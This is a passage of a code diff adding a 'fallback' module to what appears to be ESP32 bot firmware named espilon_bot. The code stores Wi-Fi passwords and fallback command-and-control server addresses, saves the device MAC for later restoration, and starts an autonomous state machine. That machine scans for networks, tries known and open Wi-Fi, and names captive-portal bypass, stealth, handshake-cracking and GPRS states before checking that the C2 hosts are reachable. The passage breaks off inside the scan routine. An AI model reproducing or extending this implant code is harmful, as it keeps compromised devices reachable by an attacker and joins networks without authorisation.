||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FB_PORTAL_NONE, /* No captive portal — internet is open */
|
||||
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
|
||||
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
|
||||
} fb_portal_status_t;
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void);
|
||||
bool fb_captive_bypass(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
@ -0,0 +1,454 @@
|
||||
/*
|
||||
* fb_config.c
|
||||
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
|
||||
* Namespace: "fb_cfg" — auto-migrates from old "rt_cfg" on first boot.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_config.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
|
||||
static const char *TAG = "FB_CFG";
|
||||
static const char *NVS_NS = "fb_cfg";
|
||||
|
||||
/* ============================================================
|
||||
* NVS migration from old rt_cfg namespace
|
||||
* ============================================================ */
|
||||
|
||||
static void migrate_from_rt_cfg(void)
|
||||
{
|
||||
nvs_handle_t old_h, new_h;
|
||||
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
|
||||
return; /* No old data */
|
||||
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
|
||||
nvs_close(old_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Check if already migrated */
|
||||
int32_t new_count = -1;
|
||||
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Copy network count */
|
||||
int32_t old_count = 0;
|
||||
nvs_get_i32(old_h, "rt_count", &old_count);
|
||||
nvs_set_i32(new_h, "fb_count", old_count);
|
||||
|
||||
/* Copy each network entry */
|
||||
char key[16];
|
||||
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
snprintf(key, sizeof(key), "n_%d", i);
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
|
||||
snprintf(key, sizeof(key), "p_%d", i);
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy C2 fallbacks */
|
||||
int32_t c2_count = 0;
|
||||
nvs_get_i32(old_h, "c2_count", &c2_count);
|
||||
nvs_set_i32(new_h, "c2_count", c2_count);
|
||||
|
||||
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
|
||||
char buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy original MAC */
|
||||
uint8_t mac[6];
|
||||
size_t mac_len = 6;
|
||||
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
|
||||
nvs_set_blob(new_h, "orig_mac", mac, 6);
|
||||
|
||||
nvs_commit(new_h);
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
|
||||
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
|
||||
(int)old_count, (int)c2_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void fb_config_init(void)
|
||||
{
|
||||
migrate_from_rt_cfg();
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static void net_key_ssid(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "n_%d", idx);
|
||||
}
|
||||
|
||||
static void net_key_pass(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "p_%d", idx);
|
||||
}
|
||||
|
||||
int fb_config_net_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_net_list(fb_network_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_KNOWN_NETWORKS) count = CONFIG_FB_MAX_KNOWN_NETWORKS;
|
||||
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_network_t));
|
||||
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].ssid, &len);
|
||||
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].pass, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
/* Check if SSID already exists → update */
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Updated network '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_KNOWN_NETWORKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
net_key_ssid(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, ssid);
|
||||
|
||||
net_key_pass(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_net_remove(const char *ssid)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "fb_count", &count);
|
||||
|
||||
int found = -1;
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[FB_SSID_MAX_LEN] = {0};
|
||||
size_t len = FB_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift entries down */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16];
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
net_key_ssid(i + 1, src_key, sizeof(src_key));
|
||||
net_key_ssid(i, dst_key, sizeof(dst_key));
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
|
||||
net_key_pass(i + 1, src_key, sizeof(src_key));
|
||||
net_key_pass(i, dst_key, sizeof(dst_key));
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
net_key_ssid(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
net_key_pass(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "fb_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
int fb_config_c2_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_c2_addr_t));
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].addr, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_c2_add(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
nvs_close(h);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)count);
|
||||
nvs_set_str(h, key, addr);
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_c2_remove(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
int found = -1;
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
|
||||
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to read STA MAC");
|
||||
return;
|
||||
}
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return;
|
||||
|
||||
nvs_set_blob(h, "orig_mac", mac, 6);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6])
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
size_t len = 6;
|
||||
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
|
||||
nvs_close(h);
|
||||
return (err == ESP_OK && len == 6);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
@ -0,0 +1,66 @@
|
||||
/*
|
||||
* fb_config.h
|
||||
* NVS-backed known networks + C2 fallback addresses.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
|
||||
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
|
||||
#define CONFIG_FB_MAX_C2_FALLBACKS 4
|
||||
#endif
|
||||
|
||||
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
|
||||
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
|
||||
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[FB_SSID_MAX_LEN];
|
||||
char pass[FB_PASS_MAX_LEN];
|
||||
} fb_network_t;
|
||||
|
||||
/* Init NVS namespace + migrate from old rt_cfg if needed. */
|
||||
void fb_config_init(void);
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass);
|
||||
bool fb_config_net_remove(const char *ssid);
|
||||
int fb_config_net_list(fb_network_t *out, int max_count);
|
||||
int fb_config_net_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
|
||||
} fb_c2_addr_t;
|
||||
|
||||
bool fb_config_c2_add(const char *addr);
|
||||
bool fb_config_c2_remove(const char *addr);
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
|
||||
int fb_config_c2_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage (for restoration)
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void);
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6]);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
@ -0,0 +1,703 @@
|
||||
/*
|
||||
* fb_hunt.c
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
* FreeRTOS task (8KB stack, Core 1).
|
||||
*
|
||||
* Pipeline: known networks → open WiFi + captive bypass → loop
|
||||
* No C2 commands needed — auto-triggered on TCP failure.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_hunt.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "fb_config.h"
|
||||
#include "fb_stealth.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
static const char *TAG = "FB_HUNT";
|
||||
|
||||
#define FB_HUNT_STACK 8192
|
||||
#define FB_HUNT_PRIO 6
|
||||
#define FB_WIFI_TIMEOUT_MS 8000
|
||||
#define FB_TCP_TIMEOUT_S 5
|
||||
#define FB_RESCAN_DELAY_S 60
|
||||
|
||||
/* Event bits for WiFi events */
|
||||
#define FB_EVT_GOT_IP BIT0
|
||||
#define FB_EVT_DISCONNECT BIT1
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static volatile fb_state_t s_state = FB_IDLE;
|
||||
static char s_connected_ssid[33] = {0};
|
||||
static char s_connected_method[16] = {0};
|
||||
static atomic_bool s_active = false;
|
||||
static TaskHandle_t s_task_handle = NULL;
|
||||
static EventGroupHandle_t s_evt_group = NULL;
|
||||
|
||||
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
||||
static SemaphoreHandle_t s_state_mutex = NULL;
|
||||
|
||||
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
|
||||
static bool s_skip_gprs = false;
|
||||
|
||||
static inline void state_lock(void) {
|
||||
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
||||
}
|
||||
static inline void state_unlock(void) {
|
||||
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
||||
}
|
||||
|
||||
/* Saved original WiFi config for restore */
|
||||
static wifi_config_t s_orig_wifi_config;
|
||||
static bool s_orig_config_saved = false;
|
||||
|
||||
/* State name lookup */
|
||||
static const char *state_names[] = {
|
||||
[FB_IDLE] = "idle",
|
||||
[FB_STEALTH_PREP] = "stealth_prep",
|
||||
[FB_PASSIVE_SCAN] = "passive_scan",
|
||||
[FB_TRYING_KNOWN] = "trying_known",
|
||||
[FB_TRYING_OPEN] = "trying_open",
|
||||
[FB_PORTAL_CHECK] = "portal_check",
|
||||
[FB_PORTAL_BYPASS] = "portal_bypass",
|
||||
[FB_C2_VERIFY] = "c2_verify",
|
||||
[FB_HANDSHAKE_CRACK] = "handshake_crack",
|
||||
[FB_GPRS_DIRECT] = "gprs_direct",
|
||||
[FB_CONNECTED] = "connected",
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* WiFi event handler for hunt (registered dynamically)
|
||||
* ============================================================ */
|
||||
|
||||
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
|
||||
int32_t id, void *data)
|
||||
{
|
||||
if (!s_evt_group) return;
|
||||
|
||||
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
|
||||
}
|
||||
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void set_state(fb_state_t new_state)
|
||||
{
|
||||
state_lock();
|
||||
s_state = new_state;
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
||||
}
|
||||
|
||||
/* Try to connect to a WiFi network. Returns true if got IP. */
|
||||
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
||||
{
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
||||
if (pass && pass[0]) {
|
||||
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
||||
}
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
|
||||
esp_wifi_connect();
|
||||
|
||||
EventBits_t bits = xEventGroupWaitBits(
|
||||
s_evt_group,
|
||||
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
|
||||
pdTRUE, /* clear on exit */
|
||||
pdFALSE, /* any bit */
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (bits & FB_EVT_GOT_IP) {
|
||||
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try TCP connect to C2. Returns true if reachable. */
|
||||
static bool tcp_try_c2(const char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
|
||||
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
lwip_close(s);
|
||||
|
||||
if (ret == 0) {
|
||||
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
||||
static bool verify_c2_reachable(void)
|
||||
{
|
||||
set_state(FB_C2_VERIFY);
|
||||
|
||||
/* Try primary C2 */
|
||||
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try NVS fallback addresses */
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
if (tcp_try_c2(ip_buf, port)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Mark successful connection */
|
||||
static void mark_connected(const char *ssid, const char *method)
|
||||
{
|
||||
state_lock();
|
||||
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
||||
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
||||
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
||||
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
||||
state_unlock();
|
||||
set_state(FB_CONNECTED);
|
||||
|
||||
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi scan
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[33];
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_auth_mode_t authmode;
|
||||
} fb_candidate_t;
|
||||
|
||||
#define FB_MAX_CANDIDATES 32
|
||||
|
||||
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
|
||||
static int s_candidate_count = 0;
|
||||
|
||||
static void do_wifi_scan(void)
|
||||
{
|
||||
s_candidate_count = 0;
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
wifi_scan_config_t scan_cfg = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time = {
|
||||
.active = { .min = 120, .max = 300 },
|
||||
},
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGW(TAG, "Scan: 0 APs found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
|
||||
|
||||
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
||||
if (!records) {
|
||||
esp_wifi_clear_ap_list();
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, records);
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
fb_candidate_t *c = &s_candidates[s_candidate_count];
|
||||
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
||||
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
||||
memcpy(c->bssid, records[i].bssid, 6);
|
||||
